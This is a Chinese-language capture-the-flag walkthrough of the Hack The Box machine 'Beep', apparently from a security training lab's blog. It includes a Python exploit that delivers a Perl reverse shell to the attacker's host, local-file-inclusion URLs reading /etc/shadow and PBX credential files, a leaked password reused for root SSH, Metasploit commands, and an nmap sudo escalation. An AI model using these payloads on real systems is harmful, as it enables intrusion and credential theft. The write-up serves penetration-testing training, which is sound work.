出品|MS08067实验室(www.ms08067.com)

这次挑战的是 HTB 的第5台靶机:Beep,评分很高,难度中等

靶机描述

Beep 运行了大量的服务,这对正确发掘入口点有一定的挑战,由于存在大量的攻击向量,或许会让你不知所措,幸运地是,有多种方法可以渗透此系统。

技能收获

  • Web-fuzzing
  • LFI
  • RCE
  • Kali Tool:sslscan / svwar / searchsploit
  • Nmap Privilege Escalation
  • Elastix / FreeFBX
  • VoIP / SIP

信息收集

基本信息

Kali ip :10.10.14.23

Lameip:10.10.10.7

端口扫描

nmap -T4 -A -p- -v 10.10.10.7

确实,开放了不少端口和服务

重点关注几个常见服务 22(ssh)、80(apache)、443(https)、3306(mysql)、10000(httpd)

目录枚举

访问 http://10.10.10.7:80 无反应,maybe it doesn't work

于是枚举https的web应用

dirb

dirb https://10.10.10.7

dirb 枚举失效,看来 ssl 支持不理想?

dirbuster

dirbuster https://10.10.10.7

存在大量的目录、后台管理程序,慢慢研究

漏洞发现

sslscan

sslscan 10.10.10.7

协议层无法突破,到web应用层寻找突破口

Elastix

访问 https://10.10.10.7:443 ,返回登录页面

Beep靶机使用了 Elastix 系统

使用默认用户密码尝试,未果

Username: admin
Password: palosanto

搜索一下 Elastix 系统的历史漏洞

漏洞利用

入口一

参考第一条"代码执行漏洞",https://www.exploit-db.com/exploits/37637

exp 修改如下,保存为 cmd.py

import urllib
import ssl rhost="10.10.10.7"
lhost="10.10.14.15"
lport=4444
extension="233" ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Reverse shell payload url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A' urllib.urlopen(url, context=ctx)

我们需要使用定位到本地的 SIP extension ,使用Kali自带工具 svwar

$ svwar -m INVITE -e100-300 10.10.10.7
| Extension | Authentication |
------------------------------
| 233 | reqauth |

此时,将以上脚本的 etension 修改为233

从之前 sslscan 的扫描结果我们看到 Beep 只支持 TLSv1.0,因此我们需要修改 Kali 的openssl配置文件

vim /etc/ssl/openssl.cnf
#将
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2
#修改为
[system_default_sect]
MinProtocol = None
CipherString = DEFAULT

此时,运行 cmd.py ,nc开启监听,获得反弹shell

至于提权,该 exp 已经有所描述了

sudo nmap --interactive
!sh

至此完成入口一的利用过程

入口二

参考第二条"文件包含漏洞",https://www.exploit-db.com/exploits/37637

漏洞简介

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.
Elastix 2.2.0 is vulnerable; other versions may also be affected.

关键利用点

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

读取到 amportal.conf,该文件为Elastix / freepbx连接ami的用户信息配置文件

从之前的目录枚举结果中可以看到,vtigercrm 目录存在且可访问

vTiger CRM是一个集成的客户关系管理(CRM)应用程序,可以在Intranet上或使用浏览器从Internet上使用。

于是访问链接

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

暴露了 amp 数据库用户密码信息

以上暴露的密码,登陆后台

admin
jEhdIekWmdjE

成功登录

考虑到密码多用的习惯,尝试ssh root用户以刚才admin的密码远程连接,事实确实如此

至此完成入口二的利用过程

入口三

访问 https://10.10.10.7/vtigercrm

vTiger CRM 的版本为 5.1.0

其实入口二中的 vtigercrm 程序还存在其它可利用的方式

searchsploit vtiger

正好发现该版本存在的一个缺陷,也是 LFI

查看详细信息

searchsploit -x 18770.txt

payload 如下

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00

暴露 /etc/passwd

暴露用户连接信息配置文件 /etc/amportal.conf

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

同样可以暴露ami的用户配置文件 /etc/asterisk/manager.conf

参考:https://www.vtiger.com/docs/asterisk-integration

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%00

入口四

关于入口二和入口三,如果web程序的密码和系统密码不存在复用的话,怎么办?

metasploit中集成了 vtigercrm v5.1.0的一些缺陷,演示如下

search vtigercrm

使用 exploit/multi/http/vtigerphpexec,失败

使用 exploit/multi/http/vtigersoapupload,成功

use exploit/multi/http/vtiger_soap_upload
set RHOSTS 10.10.10.7
set SSL true
set RPORT 443
set LHOST 10.10.14.23

至此成功发现 user.txt ,下一步想办法权限提升

命中**Nmap*,以root权限执行且无需认证

较早版本的Nmap(2.02至5.21)具有交互模式,该模式允许用户执行Shell命令
由于Nmap在以root特权执行的二进制文件列表中,因此可以使用交互式控制台来以相同的特权运行shell
sudo nmap --interactive
!sh

至此完成





转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

【HTB系列】Beep的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  3. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  4. 【HTB系列】靶机Querier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...

  5. 【HTB系列】靶机Netmon的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结和反思: win中执行powershell的远程代码下载执行注意双引号转义 对po ...

  6. 【HTB系列】靶机Bitlab的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 c ...

  7. HTB系列之七:Bastard

    出品|MS08067实验室(www.ms08067.com) 这次挑战的是 HTB 的第7台靶机:Bastard 技能收获: PHP Unserilaize CMS Version Identify ...

  8. 【HTB系列】靶机Vault的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.213 靶机地址:10.10.10.109 先用nmap探 ...

  9. 【HTB系列】靶机Teacher的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.50 靶机地址:10.10.10.153 先用nmap 对 ...

随机推荐

  1. 【uva 1610】Party Games(算法效率--构造 dfs)

    题意:有一个N个字符串(N≤1000,N为偶数)的集合,要求找一个长度最短的字符串(可不在集合内)S,使得集合中恰好一半的串小于等于S,另一半大于S.如果有多解,要求输出字典序最小的解. 解法:本来我 ...

  2. 【noi 2.6_1481】Maximum sum(DP)

    题意:求不重叠的2段连续和的最大值. 状态定义f[i]为必选a[i]的最大连续和,mxu[i],mxv[i]分别为前缀和后缀的最大连续和. 注意:初始化f[]为0,而max值为-INF.要看好数据范围 ...

  3. Detect the Virus ZOJ - 3430 AC自动机

    One day, Nobita found that his computer is extremely slow. After several hours' work, he finally fou ...

  4. 【转】Docker 核心技术与实现原理

    转自:https://draveness.me/docker 提到虚拟化技术,我们首先想到的一定是 Docker,经过四年的快速发展 Docker 已经成为了很多公司的标配,也不再是一个只能在开发阶段 ...

  5. Python模块——Openpyxl(EXCEL)操作

    一.安装模块 pip install openpyxl 二.文件的操作 2.1文件创建 from openpyxl import Workbook #创建新的excle文件 wk = Workbook ...

  6. LVS+Keepalived深度理解,阐述你不知道的坑点

    1. LVS简介 1. 什么是LVS? LVS是Linux Virtual Server的简写,意即Linux虚拟服务器,是一个虚拟的服务器集群系统.本项目在1998年5月由章文嵩博士成立,是中国国内 ...

  7. 线程同步之信号量(sem_init,sem_post,sem_wait)

    信号量和互斥锁(mutex)的区别:互斥锁只允许一个线程进入临界区,而信号量允许多个线程同时进入临界区. 不多做解释,要使用信号量同步,需要包含头文件semaphore.h. 主要用到的函数: int ...

  8. ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

    ThinkCMF框架任意内容包含漏洞分析复现 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用 ...

  9. u-boot 移植 --->4、Tiny210核心板的DDR初始化下详解

    RAM的原理简单学习 DDR是RAM的一种,RAM常见的类型有SRAM,SDRAM,DDR他们的共同特点是,随机存储意味着读写速度快,掉电后数据丢失,所以常用来存储程序中的变量. SRAM 静态随机存 ...

  10. 011.NET5_MVC解读Razor混编

    MVC开发 1. 什么是MVC? V-视图,呈现给用户看到的内容---表现层 C-控制器,控制业务逻辑计算,可定义多种返回类型.可以是视图模型.JSON.字符串等等 M-视图模型,用于视图和控制之间传 ...